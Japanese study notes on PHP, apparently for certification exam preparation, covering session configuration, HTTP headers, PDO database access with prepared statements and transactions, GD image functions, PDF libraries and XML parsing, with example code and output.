session.auto_start session.auto_start はリクエスト開始時に セッションモジュールがセッションを自動的に開始するかどうかを 指定します。デフォルトは、0(無効)です。  
session.save_handler 「session.save_handler は、 セッションに関連するデータの保存および取得時に使用するハンドラを定義します。 デフォルトは、files です。各拡張モジュールで、 独自の save_handler を使用できることに注意しましょう。 インストール環境単位で登録されているハンドラを取得するには phpinfo() を使用します。 session_set_save_handler() も参照してください。」PHP公式マニュアル。  
session.save_path 「session.save_path は、保存ハンドラに渡される 引数を定義します。デフォルトのファイルハンドラを選択した場合、 ファイルが作成される場所のパスになります。 session_save_path() も参照ください。オプションの引数として N(数値)を指定できます。 これはセッションファイルを分散して保存する際に ディレクトリ階層レベルを決定します。 例えば、’5;/tmp’とすると /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If という位置にセッションファイルを生成します。 N を使用するには、これらすべてのディレクトリが 事前に作成されている必要があります。 そのためのシェルスクリプトがext/sessionに mod_files.shというファイル名であります。 Windows 版の mod_files.bat もあります。 また、0以上の N が指定されている場合には自動ガーベッジコレクション が機能しないことに注意してください。詳細は php.ini を見てください。 また、N を指定する場合は、 session.save_pathを”quotes”で囲う必要があります。 なぜならセパレータ(;) は php.ini ではコメントとしても利用されているからです。ファイルストレージモジュールが作るファイルのモードは、デフォルトで 600 になります。 このデフォルトを変更するには、オプションの引数 MODE を利用します。 N;MODE;/path のように使い、MODE の部分に八進形式のモードを指定します。MODE を設定しても、そのプロセスの umask は変わりません。  
session.cache_limiter session.cache_limiter により、セッションページにおけるキャッシュ制御の方法を指定します。 nocache、private、 private_no_expire あるいは public のいずれかとなります。デフォルトは nocache です。 これらの値の意味については session_cache_limiter() のドキュメントも参照ください。  
session.use_trans_sid boolean session.use_trans_sidは、透過的なセッション IDの付加をするかどうかを指定します。 デフォルトは、0(無効)です。注意: URLに基づくセッション管理は、Cookieに基づくセッション管理と比べ てセキュリティリスクが大きくなります。例えば、ユーザーは、emailに より友人にアクティブなセッションIDを含むURLを送信する可能性があ り、また、ユーザーは自分のブックマークにセッションIDを含むURLを保 存し、常に同じセッションIDで使用するサイトにアクセスする可能性 があります。 PHP 7.1.0 以降では、https://php.net/ のような完全な URL パスが、透過的セッションID機能で扱われるようになります。 これより前のバージョンでは、相対 URL パスだけが対象でした。 リライト対象のホストは session.trans_sid_hosts で定義します。  
session.use_strict_mode Onにするとセッションアダプションを禁止します。  
session.serialize_handler session.serialize_handler は、シリアル化または シリアル化データを復元するために使用されるハンドラの名前を定義します。 PHP シリアライズフォーマット (php_serialize)、 PHP 内部フォーマット (php あるいは php_binary)、 そして WDDX (wddx) に対応しています。WDDX は、PHP がWDDX サポート を有効にしてコンパイルされている場合のみ使用可能です。 php_serialize は PHP 5.5.4 以降で使用可能です。 php_serialize はプレーンな serialize/unserialize 関数を内部的に使っており、php や php_binary のような制約はありません。これらのシリアライズハンドラでは、$_SESSION の中で数値のインデックスや特殊文字 ( や !) を含む文字列のインデックスを使えませんでした。 php_serialize を使えば、 スクリプトの終了時に数値インデックスや特殊文字インデックスのエラーが出ないようにできます。 デフォルトは php です。
サーバー/クライアント セッションの有効期限関連 内容
サーバー session.gc_maxlifetime session.gc_maxlifetime は、データが ‘ごみ’ とみなされ、消去されるまでの秒数を指定します。 ガベージコレクション (ごみの収集) は、 セッションの開始時に行われます (session.gc_probability と session.gc_divisor に依存します)。
サーバー session.gc_probability session.gc_probabilityと session.gc_divisorの組み合わせでgc (ガーベッジコレクション)ルーチンの始動を制御します。 デフォルトは、1 です。 詳細はsession.gc_divisor をご覧ください
サーバー session.gc_divisor session.gc_divisorと session.gc_probabilityの組み合わせで すべてのセッションの初期化過程でgc(ガーベッジコネクション)プロセス も始動する確率を制御します。確率は gc_probability/gc_divisor で計算されます。例えば、1/100は各リクエスト毎に1%の確率でGCプロセスが 始動します。 session.gc_divisorのデフォルトは100です。
クライアント session.cookie_lifetime 「session.cookie_lifetime は、 ブラウザに送信するクッキーの有効期間を秒単位で指定します。 0 を指定すると “ブラウザを閉じるまで” という意味になります。 デフォルトは、0 です。 session_get_cookie_params() および session_set_cookie_params() も参照してください。」

session.cache_limiterをnocacheへ設定したときに出力するヘッダー

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

透過的なセッション IDの付加

PHP自動的にURLにセッションIDを含めセッションの管理をURLで行う機能です。

phpinfoの例

項目 値
Session Support enabled
Registered save handlers files user
Registered serializer handlers php_serialize php php_binary wddx

session_set_save_handler

実装例は下記を参照ください。
PHP のセッションストレージを MySQL に切替える方法 - Web/DB プログラミング徹底解説

CREATE TABLE `sessions` (
  `id` varchar(100) NOT NULL DEFAULT '',
  `updated` int(10) unsigned NOT NULL DEFAULT '0',
  `data` text,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4
<?php
// SessionHandlerInterfaceはPHP5.4以降
class CustomSessionHandler implements SessionHandlerInterface
{
    /** @var PDO */
    private $db;

    public function open($save_path, $name)
    {
        // 接続情報は設定ファイルなどから取得します。
        $this->db = new PDO(
            'mysql:host=localhost;dbname=tutorial;charset=utf8mb4',
            '<user>',
            '<password>',
            array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)
        );

        return true;
    }

    public function read($id)
    {
        $st = $this->db->prepare('SELECT data FROM sessions WHERE id = ?');
        $st->execute(array($id));
        $data = $st->fetchColumn(0);

        // データがないときはfalseではなく空文字を返します。
        return $data === false ? '' : $data;
    }

    public function write($id, $data)
    {
        $st = $this->db->prepare(
            'INSERT INTO sessions (id, updated, data) VALUES(?, ?, ?) '
            . 'ON DUPLICATE KEY UPDATE updated = VALUES(updated), data = VALUES(data)'
        );

        // 成否はexecuteの返り値で判定します(columnCountは結果セットの列数を返すもので、
        // INSERTでは常に0になります)。
        return $st->execute(array($id, time(), $data));
    }

    public function destroy($id)
    {
        $st = $this->db->prepare('DELETE FROM sessions WHERE id = ?');

        return $st->execute(array($id));
    }

    public function close()
    {
        $this->db = null;

        return true;
    }

    public function gc($maxlifetime)
    {
        $st = $this->db->prepare('DELETE FROM sessions WHERE updated < ?');

        return $st->execute(array(time() - $maxlifetime));
    }
}
$handler = new CustomSessionHandler();
session_set_save_handler($handler, true);
session_start();
$_SESSION['name'] = 'TARO';

header関数

「header — 生の HTTP ヘッダを送信する」PHP 公式マニュアル

PHP: header - Manual

header関数の使用例

header('Content-Disposition: attachment; filename="downloaded.txt"');
echo 'abc';

downloaded.txtがダウンロードされます。

「通常の HTTP レスポンスにおける Content-Disposition レスポンスヘッダーは、コンテンツがブラウザにインラインとして表示される(WebページまたはWebページの一部として)か、添付ファイルとして表示されるか(ダウンロードしてローカルに保存する)を示します。」出典 [Content-Disposition - HTTP MDN](https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Content-Disposition)

6章 データベース

フレームワークのAPIを使用しないときPDOを使用してください。 PDOの詳細は17章 PDOを参照ください。

PDO

PHP 5.1以降はデフォルトでバンドルされています。

PDO/PDOStatementクラス

クラス メソッド 返り値 内容
PDO prepare PDOStatement SQL文を準備しPDOStatementを返します。
PDO exec int SQL文を実行し作用した行数を返します。SELECT文の実行には使用しないでください(結果セットを取得できません。返り値もドライバに依存します)。
PDO query PDOStatement SQL ステートメントを実行し、結果セットをPDOStatement オブジェクトとして返します。PDOStatementクラスはTraversableインターフェースを実装しているのでforeachで逐次的にとりだすことができます。
PDO getAvailableDrivers array 現在、PDOで使用可能なドライバー一覧取得します。
PDO lastInsertId string 最後に挿入された行の ID あるいはシーケンスの値を返します。 AUTO_INCREMENTでPRIMARY KEYのときその値を返します。
PDO getAttribute mixed 「データベース接続の属性を取得する」PHP公式マニュアル。
PDO setAttribute TRUE/FALSE 「属性を設定する」PHP公式マニュアル。
クラス メソッド 返り値 内容
PDOSteatement execute TRUE/FALSE 準備したSQL文を実行します。
 PDOStatement::execute([array $input_parameters])
$input_parameters プレースホルダに対応する値の配列です。値はPDO::PARAM_STRとして扱われます。
PDOStatement fetch mixed 結果セットから次の行を取得します。
PDOStatement fetchAll array 全ての結果行を含む配列を返します。
PDOStatement fetchObject mixed 次の行を取得し、それをオブジェクトとして返します。
PDOStatement fetchColumn mixed 結果セットの次行から単一カラムを返します。
PDOStatement bindParam / プレースホルダーへ型を指定して変数をバインドします。変数は参照でバインドされ、値はexecute実行時に評価されます。リテラルなど値そのものをバインドするときはbindValueを使います。
PDOStatement bindColumn / 結果セットの列をPHPの変数へ結び付けます。fetchやfetchAllを呼び出す度にその値がセットされます。
PDOStatement columnCount int 結果セット中のカラム数を返す
PDOStatement rowCount int 「PDOStatement::rowCount() は 相当する PDOStatement オブジェクトによって実行された 直近の DELETE, INSERT, UPDATE 文によって作用した行数を返します。」 出典PHP公式マニュアル。SELECT文ではデータベースにより挙動が異なるため、行数が必要なときはSELECT COUNT(*)を使うか、fetchAllで取得した配列をcountしてください(columnCountは列数を返すものであり、行数の代用にはなりません)。

PDO::query実行例

mysql> CREATE DATABASE <database> DEFAULT CHARACTER SET utf8mb4;
CREATE TABLE sample(
    id MEDIUMINT NOT NULL AUTO_INCREMENT,
    user VARCHAR(255),
    password VARCHAR(255),
    PRIMARY KEY (id)
);
<?php
// PDOは接続時にエラーが発生したときは例外を投げます。必ずtry catch文を記載します。
// 接続時ではないときのエラーの扱いはPDO::ERRMODEで設定します。
$options = array(
    PDO::ATTR_PERSISTENT => true  // 持続的接続
);
try {
    $db = new PDO('mysql:host=localhost;dbname=tutorial;charset=utf8mb4', '<user>', '<password>', $options);
    $st = $db->query("SELECT * FROM sample", PDO::FETCH_ASSOC);
    foreach($st as $row) {  // PDOStatementはTraversableインターフェースを実装しているのでforeachで反復できます。
        echo $row['id'] . ': ' . $row['user'] . '<br>';
    }
} catch (PDOException $e) {
    echo $e->getMessage();
}

PDOクラス属性

下記表は徹底攻略PHP技術者認定試験(p213)より引用。

属性名 意味
PDO::ATTR_ERRMODE エラーモード
PDO::ATTR_AUTOCOMMIT オートコミットの有効・無効
PDO::ATTR_CLIENT_VERSION クライアントのバージョン
PDO::ATTR_DRIVER_NAME ドライバ名
PDO::ATTR_PERSISTENT 持続的接続を要求
接続を再利用するため、トランザクションの途中状態などが次のリクエストへ残る恐れがあります。データベース側の最大接続数にも注意が必要です。
PDO::ATTR_TIMEOUT データベースとの通信タイムアウト値(秒)

属性設定例

<?php
// PDOは接続時にエラーが発生したときは例外を投げます。必ずtry catch文を記載します。
// 接続時ではないときのエラーの扱いはPDO::ERRMODEで設定します。
try {
    $db = new PDO('mysql:host=localhost;dbname=tutorial', '<user>', '<password>');
    $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // エラーモードを例外に設定
    $st = $db->prepare("select * from sample wher id < ?");       // whereがwherになっているためSQL構文エラー(エミュレーションが有効なMySQLではexecute時に例外が発生します)。
    $st->execute([4]);
    $results = $st->fetchAll();
    foreach ($results as $result) {
        var_dump($result);
    }
} catch (PDOException $e) {
    var_dump($e->getMessage());
    // SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'id < '4'' at line 1
}

代表的な属性ERRMODEの設定値
下記表は徹底攻略PHP技術者認定試験(p213)よろ引用

属性値 意味
PDO::ERRMODE_SILENT 「デフォルトのモードです。ステートメントおよびデータベースオブジェクトの エラーについて、PDO は単にそのエラーコードのみを設定します。 これを取得するには PDO::errorCode() および PDO::errorInfo() メソッドを使用します。 ステートメントオブジェクトへのコールによってエラーが発生した場合は、 そのオブジェクトの PDOStatement::errorCode() あるいは PDOStatement::errorInfo() メソッドを呼び出します。 データベースオブジェクトへのコールによってエラーが発生した場合は、 その代わりにデータベースオブジェクト上の同じメソッドを呼び出します。」php公式マニュアル。
PDO::ERRMODE_WARNING E_WARNINGを発生させる
PDO::ERRMODE_EXCEPTION 例外を投げる

プリペアドステートメント

プリペアドステートメントはプレースホルダでSQL文を準備し値をバインドし実行します。

  1. プリペアドステートメントはPDO::prepareで準備します。prepareはPDOStatementインスタンスを返します。
  2. プレースホルダへ値をバインドします。
    プレースホルダへ値をバインドする方法はPDOStatement::executeの引数として設定する方法とPDOStatement::bindParamで設定する方法があります。
    bindParamは変数をバインドするさいに型を指定できます。bindParamを使わずにexecuteの引数で指定するときは型はPDO::PARAM_STRになります。
  3. 実行します(PDOStatement::execute)。

プレースホルダ

  • 疑問符プレースホルダ ?
  • 名前付きプレースホルダ :name

疑問符プレースホルダの例

INSERT INTO example (a, b) VALUES(?, ?)

名前付きプレースホルダの例

INSERT INTO example (a, b) VALUES(:a, :b)

プリペアドステートメント実行

プレースホルダーをexecuteの引数でバインド

CREATE TABLE sample(
    id MEDIUMINT NOT NULL AUTO_INCREMENT,
    user VARCHAR(255),
    password VARCHAR(255),
    PRIMARY KEY (id)
);
<?php
// 接続に失敗するとPDOExceptionを返します。
try {
    $db = new PDO('mysql:host=localhost;dbname=tutorial;charset=utf8mb4', '<user>', '<password>');
} catch (PDOException $e) {
    echo $e->getMessage();
}

// 疑問符プレースホルダでプリペアドステートメント取得
$st = $db->prepare("INSERT INTO sample (user, password) VALUES(?, ?)");
$result = $st->execute(['foo', 'bar']); // ユーザーfoo, パスワードbar(例のため平文。実際にはpassword_hashの結果を保存します)
var_dump($result); // 成功:TRUE, 失敗:FALSE
// プリペアドステートメントは準備したSQLを複数回実行できます。
$result = $st->execute(['hoge', 'fuga']); 
var_dump($result); // 成功:TRUE, 失敗:FALSE

// 名前付きプレースホルダでプリペアドステートメント取得
$st = $db->prepare("INSERT INTO sample (user, password) VALUES(:user, :password)");
$result = $st->execute(['user' => 'foo2', 'password' => 'baz2']);
var_dump($result); // 成功:TRUE, 失敗:FALSE

$db = null; // 切断
プレースホルダーをbindParamでバインド
CREATE TABLE example(
    id MEDIUMINT NOT NULL AUTO_INCREMENT,
    data LONGBLOB,
    PRIMARY KEY (id)
);

画像をLONGBLOBとしてテーブルへ格納します。

<?php
// 接続に失敗するとPDOExceptionを返します。
try {
    $db = new PDO('mysql:host=localhost;dbname=tutorial;charset=utf8mb4', '<user>', '<password>');
} catch (PDOException $e) {
    echo $e->getMessage();
}
/** @var \PDOStatement $st **/
$st = $db->prepare("INSERT INTO example (data) VALUES(?)");
$fp = fopen('30x30.png', 'rb');
$st->bindParam(1, $fp, PDO::PARAM_LOB); // bindParamを使うことで型を指定しバインドできます。
$st->execute(); // 成功はTRUE, 失敗はFALSEを返します。
$db = null;     // データベースの切断はPDOインスタンスへnullを設定します。

画像を出力します。

<?php
try {
    $db = new PDO('mysql:host=localhost;dbname=tutorial;charset=utf8mb4', '<user>', '<password>');
} catch (PDOException $e) {
    echo $e->getMessage();
}
$st = $db->prepare("SELECT data FROM example WHERE id = ?");
$st->execute([1]);  // bindParamを使わずexecuteの引数でバインド
$st->bindColumn(1, $lob, PDO::PARAM_LOB);
$st->fetch(PDO::FETCH_BOUND); // boundはbindの過去形。結果セットの次行でbindColumnで設定した列をバインドした変数へ代入
header('Content-Type: image/png');
echo $lob;
$db = null;

名前付きプレースホルダの例

CREATE TABLE `sample` (
  `id` mediumint(9) NOT NULL AUTO_INCREMENT,
  `user` varchar(255) DEFAULT NULL,
  `password` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8mb4
$db = new PDO('mysql:host=localhost;dbname=tutorial', '<user>', '<password>');
$st = $db->prepare("select * from sample where id < :id");
$id = 5;
$st->bindParam('id', $id, PDO::PARAM_INT );
// $st->bindParam('id', 5, PDO::PARAM_INT );  Fatal error 第2引数は変数を渡す必要があります。
$st->execute();
$results = $st->fetchAll();
foreach($results as $result) {
   var_dump($result); 
}

結果セット形式(PDO::query, PDOStatement::fetchXXX)

取り出し方法|意味 —|— PDO::FETCH_CLASS | 「カラムをクラスのプロパティにマップしつつ、 指定されたクラスの新規インスタンスを返す取得方法を指定します。」PHP公式マニュアル。 PDO::FETCH_INTO | 「カラムをクラスのプロパティにマップしつつ、 指定されたクラスの既存のインスタンスを更新する取得方法を指定します。」PHP公式マニュアル。 PDO::FETCH_COLUMN | 「結果セットの次の行から指定された一つのカラムのみを返す取得方法を指定します。」PHP公式マニュアル。 PDO::FETCH_ASSOC | カラムをキーとする連想配列として取得 PDO::FETCH_NUM | インデックス配列として取得 PDO::FETCH_BOTH | カラムおよび数字をキーとする配列(デフォルト) PDO::FETCH_BOUND |「結果セットのカラムの値を PDOStatement::bindParam() または PDOStatement::bindColumn() メソッドでバインドされた PHP変数に代入し、TRUEを返すという取得方法を指定します。」php公式マニュアル。

<?php
$db = new PDO('mysql:host=localhost;dbname=tutorial;charset=utf8mb4', '<user>', '<password>');
$st = $db->query("SELECT * FROM sample", PDO::FETCH_ASSOC);
foreach($st as $row) {
   echo $row['id'] . ': ' . $row['user'] . '<br>';
}

class Result {
    public $id, $user; // 列名と同じ名前のプロパティに値が入ります(該当するプロパティがない列は動的に追加されます)。
}
$st = $db->query("SELECT * FROM sample", PDO::FETCH_CLASS, 'Result');
foreach($st as $ins) {
   echo $ins->id, $ins->user, '<br>';
}

FETCH_ASSOC, FETCH_NUM, FETCH_BOTHの例

$db = new PDO('mysql:host=localhost;dbname=tutorial', '<user>', '<password>');

echo '--- PDOStatement::fetch FETCH_BOTH ---'; 
$st = $db->prepare("select * from foo where id < ?");
$st->execute([4]);
$results = $st->fetchAll(PDO::FETCH_BOTH);
foreach($results as $row) {
   var_dump($row); 
}

echo '--- PDOStatement::fetch FETCH_ASSOC ---'; 
$st = $db->prepare("select * from foo where id < ?");
$st->execute([4]);
$results = $st->fetchAll(PDO::FETCH_ASSOC);
foreach($results as $row) {
   var_dump($row); 
}

echo '--- PDOStatement::fetch FETCH_CLASS ---'; 
$st = $db->prepare("select * from foo where id < ?");
class X {
    public $id, $user, $password;
}
$st->execute([4]);
$results = $st->fetchAll(PDO::FETCH_CLASS);
foreach($results as $obj) {
   var_dump($obj); 
}

echo '--- PDOStatement::fetch FETCH_COLUMN ---'; 
$st = $db->prepare("select * from foo where id < ?");
$st->execute([4]);
$results = $st->fetchAll(PDO::FETCH_COLUMN, 2);
foreach($results as $row) {
   var_dump($row); 
}
--- PDOStatement::fetch FETCH_BOTH ---
array
  'id' => string '1' 
  0 => string '1'
  'a' => string '10'
  1 => string '10'
  'b' => string '20'
  2 => string '20'
array
  'id' => string '2' 
  0 => string '2'
  'a' => string '3'
  1 => string '3'
  'b' => string '10'
  2 => string '10'
array 
  'id' => string '3'
  0 => string '3'
  'a' => string '8'
  1 => string '8'
  'b' => string '5'
  2 => string '5'
  
--- PDOStatement::fetch FETCH_ASSOC ---
array
  'id' => string '1'
  'a' => string '10'
  'b' => string '20'
array
  'id' => string '2'
  'a' => string '3'
  'b' => string '10'
array
  'id' => string '3'
  'a' => string '8'
  'b' => string '5'
  
--- PDOStatement::fetch FETCH_CLASS ---
object(stdClass)[3]
  public 'id' => string '1'
  public 'a' => string '10'
  public 'b' => string '20'
object(stdClass)[4]
  public 'id' => string '2'
  public 'a' => string '3'
  public 'b' => string '10'
object(stdClass)[5]
  public 'id' => string '3'
  public 'a' => string '8'
  public 'b' => string '5'
  
--- PDOStatement::fetch FETCH_COLUMN ---
string '20'
string '10'
string '5'

トランザクション

データベースに対する一連の処理をひとかたまりで適用または破棄する方法です。

  • トランザクションはコミット(commit)またはロールバック(rollback)で終了する必要があります。
  • PHPスクリプトではトランザクションが開始されたにも関わらずコミットもロールバックもせず終了したときはロールバックされます。
  • オートコミットがオンの場合、SQLの実行ごとに暗黙的にコミットされます。

オートコミットのモードはデータベースの設定で行います。

オートコミットをオフにする方法

拡張モジュール|オートコミット —|— MySQLi|mysqli_autocommit関数 PDO | 「PDO::beginTransaction ( void ) トランザクションを開始する。オートコミットモードをオフにします。オートコミットモードがオフの間、 PDO オブジェクトを通じてデータベースに加えた変更は PDO::commit() をコールするまでコミットされません。 PDO::rollback() をコールすると、 データベースへの全ての変更をロールバックし、 オートコミットモードに設定された接続を返します。」出典 PHP公式マニュアル。

MySQLなどはトランザクション内にDDL(Data Definition Language)があると暗黙的なコミットが行われます。

コミット/ロールバック

メソッド|意味 —|— PDO::commit | トランザクションをコミットします。オートコミットを元に戻します。 PDO:: rollback | トランザクションをロールバックします。オートコミットを元に戻します。

参考資料

  • http://www.php.net/manual/ja/faq.databases.php
  • http://jp2.php.net/manual/ja/mbstring.php4.req.php
  • http://jp2.php.net/manual/ja/book.pdo.php
  • http://www.php.net/manual/ja/features.persistent-connections.php

7章 グラフィックス

以下GD関数はアッパーキャメルで記載していますがPHPは関数の大文字小文字を区別しません。公式マニュアルではすべて小文字で記載されています。

画像ファイルフォーマット Content-Typeヘッダー
GIF(.gif) image/gif
PNG(.png) image/png
JPEG(.jpg) image/jpeg

image/jpgはMIMEとして正しくありません。
https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
http://stackoverflow.com/questions/33692835/is-the-mime-type-image-jpg-the-same-as-image-jpeg

GD拡張モジュール

GD拡張モジュールはPHPにバンドルされていますが、JPEG・PNG・FreeTypeなどの機能を有効にするには、コンパイル時に外部ライブラリ(libjpeg、libpng、FreeTypeなど)が必要な「外部拡張」です。 PHP: 所属 - Manual

次の方法でGD拡張モジュールの情報を取得できます。

  • phpinfo関数のgdセクション
    phpinfoでgdセクションにGD拡張モジュールのバージョンや利用可能な画像形式が記載されています。
  • gd_info関数

GDが作成する画像形式

形式|内容 —|— パレット形式 | 各ピクセルはパレットの色番号を持ちます。256色です。 フルカラー形式 | 各ピクセルはRGBの値を持ちます。色数に制限はありません。

画像リソース作成

関数名|内容 —|— ImageCreate(int $width, int $height) | 画像パレット形式の画像を作成し画像リソースを返します。 ImageCreateTrueColor(int $width, int $height) | フルカラー画像を新規作成し画像リソースを返します。

関数名 内容
ImageCreateFromGIF(string $filename) GIF画像から画像リソースを返します。
ImageCreateFromPNG(string $filename) PNG画像から画像リソースを返します。
ImageCreateFromJPEG(string $filename) JPEG画像から画像リソースを返します。

画像リソース出力

  1. header関数でContent-Typeヘッダー出力
  2. ImagePNG関数, ImageGIF関数, ImageJPEG関数で送信

GD関数名はImageJPGではなくImageJPEGです。

関数
ImageGIF
ImageJPEG
ImagePNG

ImageCreateで作成した画像はどの形式でも出力できますが出力形式はheader関数で明示的に設定する必要があります。

header('Content-Type: image/png');
ImagePNG($img);

index.php

<?php
$graphic = (isset($_GET['action']) && $_GET['action'] === 'graphic' ) ? true : false;
if ($graphic) {
    $img = ImageCreate(100,100);
    $black = ImageColorAllocate($img, 0x00, 0x00, 0x00);
    ImageFilledRectangle($img, 0,0, 100,100, $black);
    header('Content-Type: image/png');
    ImagePNG($img);
    ImageDestroy($img);
    exit; // これ以降のHTMLを画像データに混ぜないため必ず終了する
}
?>
<html>
<head>
<title>GDサンプル</title>
</head>
<body>
<p>GDモジュールサンプルです。</p>
<p><img src="index.php?action=graphic"></p>
</body>

GDの使い方:Geekなぺーじ

imgタグのsrc属性にphpプログラムを指定し画像の生成処理を呼び出しています。

内容|関数|備考 —|—|— サポート形式確認|ImageTypes|IMG_GIF,IMG_PNGなど定数で画像をサポート形式を確認できます。 リソース作成|ImageCreate(int $width, int $height)
ImageCreateTrueColor(int $width, int $height)
ImageCreateFromGIF(string $filename)
ImageCreateFromPNG(string $filename)
ImageCreateFromJPEG(string $filename)|リソースを返します。 リソース破棄|ImageDestroy|画像リソースのメモリを解放します(スクリプト終了時にも自動で解放されますが、大量に処理するときは明示的に呼び出します)。 カラー作成|ImageColorAllocate|アルファチャンネルを含まない色を作成します。ImageCreateで作成したパレット形式の画像では、最初に確保した色が背景色になります(ImageCreateTrueColorの背景は黒です)。 アルファチャンネル付きカラー作成|ImageColorAllocateAlpha|アルファチャンネルは7ビット(128段階)です。大きい方が透明度が高くなります。 リソース出力|ImageGIF,ImagePNG, ImageJPEG|header関数のContent-typeヘッダー形式は明示する必要があります。 点|ImageSetPixel|点を描画します。 線|ImageLine、ImageDashedLine|線、点線を描画します。 矩形|ImageRectangle、ImageFilledRectangle|矩形を描画します。 楕円|ImageEllipse|楕円を描画します。円を描画するには横と縦を同じサイズにします。円を描画する専用の関数はありません。 楕円|ImageArc|ImageEllipseとの違いは開始と終了の角度を設定できます。 多角形|ImagePolygon、ImageFilledPolygon|三角形を描画する関数はありません。 回転|ImageRotate|反時計回りに回転します。 テキスト描画|ImageString|組み込みフォントで描画します。 テキスト描画|ImageTTFText|TrueTypeフォントを使用してテキストを描画します。デフォルトはアンチエイリアスがオンですがオフにすることもできます。第6引数の色に負数を指定。 画像タイプの判断|ImageIsTrueColor|フルカラーのときはtrue。 位置を指定し色を取得|ImageColorAt|色情報を返す 色情報からRGBA取得|ImageColorForIndex|RGBAを配列で返します。 コピー|ImageCopyResized, ImageCopyResampled|ImageCopyResampledはGD2系以降で使用できます。
リサンプリングは色数が増えパレット形式の制限(256色)を超える可能性があるのでリサイズ先はImageCreateTrueColorを使用してください。 トゥルーカラーをパレットへ変換| ImageTrueColorToPalette| トゥルーカラーをパレットへ変換します。 パレットをトゥルーカラーへ変換|imagepalettetotruecolor|パレットをトゥルーカラーへ変換します(PHP5.5以降)。

// ImageColorForIndexで取得できる配列の例
Array
(
	[red] => 255,
	[green] => 255
	[blue] => 255
	[alpha] => 63       // アルファチャンネルは7ビットの127段階63は50%
)	

8章 PDF

ライブラリ 商用・フリー 外部ライブラリ 種別
PDFlib 商用 / 拡張モジュール
FPDF フリー 必要ない PHPライブラリ
MBFPDF(Multibyte FPDF) フリー 必要ない PHPライブラリ
TCPDF フリー 必要ない PHPライブラリ
Haru フリー libHaru 拡張モジュール

MBFPDF

関数|内容 —|— cell(float $w [, float $h [, string $txt [, mixed $border [, int $ln [, string $align [, int $fill [, mixed $link]]]]]]] ) | セルを描画します。
$w 矩形の幅、$h 矩形の高さ、$txt 矩形へ描画するテキスト、 $border 罫線の有無, $ln 改行の有無, $align, テキストのアラインメント, $fill テキスト背景塗りつぶしの有無, $link 外部リンク image(string $file, float $x float $y [, float $w [, $h [, string $type [, mixed $link]]]]) | 画像を配置します。
$x 左上の角のx座標、$y 左上の角のy座標、$w 画像の幅, $h 画像の高さ, $type 画像フォーマット, $link リンク write($float $h, $string $txt [, mixed $link]) | 文字を出力します。 ln([float $h]) | 改行します。 addFont | 英字フォントを追加します。 addMBFont | 日本語フォントを追加します。 setFont | フォントの種類、スタイル、サイズを設定します。
例 斜体、太字、アンダーライン
setFont(GOTHIC, ‘IBU’, 20) setTextColor(int $r[, int $g, int $b]) | テキストの色を設定します。 pageNo | 現在のページ番号 aliasNbPages | 総ページ数。{nb}を置換します。
{nb}を置換するにはaliasNbPagesを呼び出す必要があります。 addLink | リンク識別子を取得 setLink | リンク識別子を設定

9章 XML

PHP: XML 操作 - Manual

XML関連拡張モジュール

拡張モジュール 所属 デフォルト 内容
libxml 外部拡張 有効 XMLを扱うための拡張モジュールで他の拡張モジュールからも利用されています( DOM, libxml, SimpleXML, SOAP, WDDX, XSL, XML, XMLReader, XMLRPC そして XMLWriter)。
XML(=XMLパーサー) 外部拡張 有効 XMLドキュメントの構文解析をします。検証は行いません。xml_parse関数, xml_parser_create関数などが定義されています。
DOM 外部拡張 有効 DOM拡張モジュールは外部拡張モジュールです。 「DOM 拡張モジュールを使用すると、DOM API を使用した XML ドキュメントの操作を PHP 5 で行えます。」「注意:DOM 拡張モジュールは UTF-8 エンコーディングを使用します。ISO-8859-1 エンコーディングのテキストを扱うには utf8_encode() と utf8_decode() を使用します。またその他のエンコーディングを扱うには Iconv を使用します。」 出典 PHPマニュアル
SimpleXML 外部拡張 有効 「SimpleXML拡張モジュールは、 XMLをオブジェクトにとても簡単かつ容易に変換するための機能を 提供します。変換後のオブジェクトでは、 通常のプロパティセレクタや配列反復子を用いて処理を行うことが 可能です。」 出典 PHPマニュアル

外部拡張はバンドルされている拡張モジュールの中でコンパイル時に外部ライブラリを必要とするものです。
PHP: 所属 - Manual 。

XMLパーサ拡張モジュール

XML自体はUTF-16に対応していますがXMLパーサはUTF-16に対応していません。

関数 意味
resource xml_parser_create ([ string $encoding ] ) xml_parser_create() は新しい XML パーサを作成し、 他の XML 関数が使用するハンドルを返します。
int xml_parse ( resource $parser , string $data [, bool $is_final = false ] ) xml_parse() は XML ドキュメントを処理します。 設定されているイベントのハンドラが、必要に応じてコールされます。「成功した場合に 1、失敗した場合に 0 を返します。処理が成功しなかった場合、エラー情報を xml_get_error_code(), xml_error_string(), xml_get_current_line_number(), xml_get_current_column_number() および xml_get_current_byte_index() により取得可能です。注意:エンティティのエラーが報告されるのは、ドキュメントの最後 つまり is_final が TRUE に設定されている場合です。」php公式マニュアル。
bool xml_parser_free ( resource $parser ) 指定した XML パーサ parser を解放します。
bool xml_set_element_handler ( resource $parser , callable $start_element_handler , callable $end_element_handler ) XML パーサ parser の要素ハンドラ関数を設定します。 start_element_handler および end_element_handler は、 xml_parse() が parser を コールした際に存在している必要がある関数の名前を有する文字列です。

start_element_handler という名前の関数は、 次の 3 つのパラメーターをとる必要があります。
start_element_handler ( resource $parser , string $name , array $attribs )
parser 最初のパラメーターである parser は、 ハンドラをコールする XML パーサへのリファレンスです。
name2 番目のパラメーターである name は、 このハンドラがコールされた要素の名前を有しています。 大文字変換 がこのパーサに関して有効な場合、要素の名前は大文字になります。
